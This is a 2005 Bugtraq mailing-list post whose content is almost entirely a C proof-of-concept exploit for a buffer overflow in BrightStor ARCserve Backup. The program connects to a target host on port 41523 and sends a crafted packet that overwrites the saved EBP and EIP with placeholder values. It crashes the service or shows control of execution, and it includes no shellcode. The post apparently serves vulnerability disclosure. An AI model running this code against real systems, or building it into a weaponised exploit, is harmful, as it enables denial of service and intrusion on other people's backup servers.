bugtraq - BrightStor ARCserve Backup buffer overflow PoC

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Date: 11 Feb 2005 18:19:23 -0000
From: <cybertronic@....net>
To: bugtraq@...urityfocus.com
Subject: BrightStor ARCserve Backup buffer overflow PoC




//cybertronic@....net


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

#define RED	"\E[31m\E[1m"
#define GREEN	"\E[32m\E[1m"
#define YELLOW	"\E[33m\E[1m"
#define BLUE	"\E[34m\E[1m"
#define NORMAL	"\E[m"

#define PORT	41523

void
start ( int s )
{
	char buffer[4096];

	bzero ( &buffer, 4096 );
	memset ( buffer, 0x41, 50 );
	buffer[0] = 0x9b;
	buffer[1] = 0x53; //S
	buffer[2] = 0x45; //E
	buffer[3] = 0x52; //R
	buffer[4] = 0x56; //V
	buffer[5] = 0x49; //I
	buffer[6] = 0x43; //C
	buffer[7] = 0x45; //E
	buffer[8] = 0x50; //P
	buffer[9] = 0x43; //C
	buffer[17] = 0x18;
	buffer[21] = 0xc0;
	buffer[22] = 0xa8;
	buffer[23] = 0x02;
	buffer[24] = 0x67;
	buffer[25] = 0x53; //S
	buffer[26] = 0x45; //E
	buffer[27] = 0x52; //R
	buffer[28] = 0x56; //V
	buffer[29] = 0x49; //I
	buffer[30] = 0x43; //C
	buffer[31] = 0x45; //E
	buffer[32] = 0x50; //P
	buffer[33] = 0x43; //C
	buffer[41] = 0x01;
	buffer[43] = 0x0c;
	buffer[44] = 0x6c;
	buffer[45] = 0x93;
	buffer[46] = 0xce;
	buffer[47] = 0x18;
	buffer[48] = 0x18;
	//ebp
	buffer[49] = 0xbe;
	buffer[50] = 0xba;
	buffer[51] = 0xad;
	buffer[52] = 0xde;
	//eip
	buffer[53] = 0xde;
	buffer[54] = 0xc0;
	buffer[55] = 0xad;
	buffer[56] = 0xde;

	printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer ) );
	if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
	{
		printf ( RED "Send failed!\n" NORMAL );
		exit ( 1 );
	}
	printf ( GREEN "OK!\n" NORMAL );
	sleep ( 1 );
}

int
main ( int argc, char *argv[] )
{

	int s;
	struct hostent *he;
	struct sockaddr_in addr;

	if ( argc != 2 )
	{
		fprintf ( stderr,"Usage: %s hostname\n", argv[0] );
		exit ( 1 );
	}


	printf ( "Resolving hostname..." );
	if ( ( he = gethostbyname ( argv[1] ) ) == NULL )
	{
		printf ( RED "FAILED!\n" NORMAL );
		exit ( 1 );
	}
	printf ( "OK!\n" );


	if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
	{
		exit ( 1 );
	}


	addr.sin_family = AF_INET;
	addr.sin_port = htons ( PORT );
	addr.sin_addr = *( ( struct in_addr * ) he->h_addr );


	printf ( "Connecting to %s...", argv[1] );
	if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct sockaddr ) ) == -1 )
	{
		printf ( RED "FAILED!\n" NORMAL );
		exit ( 1 );
	}
	printf ( "OK!\n" );
	start ( s );
	close ( s );
	return ( 0 );
}